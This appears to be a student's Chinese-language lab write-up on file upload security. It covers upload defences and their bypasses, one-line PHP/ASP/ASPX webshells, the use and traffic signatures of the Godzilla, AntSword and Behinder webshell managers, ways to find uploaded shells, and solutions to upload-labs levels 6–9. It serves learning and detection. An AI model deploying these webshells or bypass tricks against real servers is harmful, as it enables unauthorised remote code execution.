目录
一、文件上传防御手段及绕过手段总结
文件上传是Web应用中常见的功能,但同时也面临着安全风险,如恶意文件上传、文件包含漏洞等。
(一)、上传防御手段
-
文件类型验证:
-
扩展名验证:检查上传文件的扩展名是否属于允许上传的文件类型列表,如图片、文档等,拒绝执行脚本和其他可执行文件。
-
MIME类型验证:通过读取文件的MIME类型来进一步确认文件的类型,确保MIME类型与实际文件类型一致。
-
文件签名验证:检查文件的头部信息,确保文件的真实类型与声称的一致。
-
-
文件大小限制:设置合理的文件大小上限,防止大文件上传导致的服务器资源耗尽。
-
文件内容检查:对上传的文件内容进行检查,排除隐藏的恶意代码。
-
上传目录隔离:将用户上传的文件存放于特定的隔离目录,与网站核心文件系统分离,减少安全风险。
-
权限控制:确保上传的文件只能由拥有相应权限的用户访问。
-
病毒扫描:在上传前后对文件进行病毒扫描,防止恶意软件传播。
(二)、常见绕过手段:
- 修改文件扩展名:将恶意文件的扩展名修改为白名单允许的扩展名,从而绕过文件上传的限制。
- 绕过文件类型检查:修改文件的Content-Type头部信息或使用特殊的文件格式来绕过文件类型检查。
- 前端验证绕过:前端验证只是对用户友好的提示,攻击者可以通过禁用JavaScript或修改前端代码来绕过前端验证,直接上传恶意文件。
- 利用黑名单漏洞:如果黑名单设置不严谨,攻击者可能利用黑名单中未包含的等价扩展名或特殊文件名绕过检测。
- 文件内容伪造:通过修改文件内容头或文件结构来伪造文件类型,使其看起来像是允许上传的文件类型。
二、文件上传常用一句话木马
php:
asp:
<%eval request ("pass")%>
aspx:
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
三、课中所讲的三种webshell管理工具的使用方法
(一)、 哥斯拉
1.安装之后,第一次打开会再同目录下生成data.db数据库,用来存放数据。
可看到程序正常运行,界面如下:
2.生成木马
打开哥斯拉,点击"管理"->"生成",生成木马,文件生成路径选择phpstudy的www目录。
打开文件查看,可看到里面是 php 一句话木马。
<?php
eval($_POST["pass“]);
3.设置代理
配置bp代理。注意要和生成这个木马时的设置保持一致
“success”。
bp开启拦截,可成功捕获数据包
流量特征
强特征:cookie字段,Cookie尾值后出现分号
Accept字段:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, / ;q=0.8
(二)、 蚁剑
双击 AnSword.exe打开。
点击初始化,选择核心代码所在的文件位置,初始化成功后界面如下:
连接木马
空白处鼠标右键–>添加数据,URL地址使用上文中上传的木马:http://127.0.0.1/test.php。可先测
试连接,成功后点击添加。
设置代理
在蚁剑启动bp代理,配置好后可在bp抓包。
成功拦截数据包:
流量特征
使用URL编解码。
解码之后,每个数据包前面都会包含 @ini_set("display_errors", "0"); @set_time_limit(0);这两个语句。
(三)、冰蝎
对称加密,该客户端的流量几乎无法检测。
生成木马
点击传输协议,选择default_aes协议,创建server服务端文件,同时生成木马文件。
设置代理
配置好http代理之后,burpsuit开启拦截后,冰蝎发请求,成功拦截。
流量特征
Accept字段:
Accept: application/json, text/javascript, / ; q=0.01
Content-type(弱特征)
Content-type: application/x-www-form-urlencode
四、文件上传无回显如何查找webshell地址
1. 目录遍历
通过尝试访问可能的上传目录,如/uploads/、/files/、/images/等,并结合目录遍历技术(如使用../)
来尝试访问更深层次的目录。可以编写脚本进行。
2. 自动化工具爆破
使用自动化工具(如DirBuster、Gobuster等)进行目录和文件名的爆破,尝试发现可能的WebShell文
件
3. 分析HTTP响应头
元素,该元素允许用户选择文件并将其发送到服务器。
上传文件后,HTTP响应头内,可能会包含一些线索。我们可已使用抓包工具(如Burp Suite、
Fiddler)捕获并分析上传请求和响应的详细信息。
4. 搜索引擎搜索
利用搜索引擎(如Google)进行特定的搜索。搜索时可使用 inurl: 等搜索指令来搜索特定目录或文件类
型,如inurl:/uploads/ *.php。
5. 查看服务器日志
首先,我们需要有权限访问服务器日志。然后可以查看上传请求的日志,找到上传文件的路径和相关信
息。
6. 反向Shell连接
如果 WebShell 能够执行命令,我们就可以尝试通过反向Shell连接到攻击者的机器,以获取更多关于文件系统的信息,包括 WebShell 的存储位置。
五、文件上传表单的无参/有参情况下构造表单
在Web开发中,构造文件上传表单时,需要使用HTML
1. 无参的文件上传表单
无参文件上传表单仅包含用于文件选择的输入字段,不包含其他输入字段(如用户名、密码等)。这种
表单通常用于简单的文件上传场景,不需要额外的用户输入。
2. 有参的文件上传表单
有参的文件上传表单除了包含文件选择输入字段外,还包含其他输入字段。这些额外的字段可以用于传
递额外的信息给服务器,如用户身份验证、文件描述等。
区域(fileDescription),分别用于输入用户名和文件描述。这些额外的字段允许用户在上传文件时提
供额外的信息。
六、upload-labs靶场(6-10)
1. 环境准备
打开小皮,创建网站。
Pass-06
查看源代码发现没有对大小写进行限制
上传木马,抓包修改文件后缀为大写。
上传成功
pass-07
查看源代码,发现并未对空格进行限制,那么可以在后缀添加一个空格进行绕过
重放攻击后添加空格
木马上传成功
pass-08
查看源代码,发现少了"删除文件名末尾的点"
抓包,并在文件后缀中间加一个点
上传成功
pass-09
通过源码发现并未对 ::$DATA 进行检测。
抓包,在后面添加 ::$DATA 进行绕过。
上传成功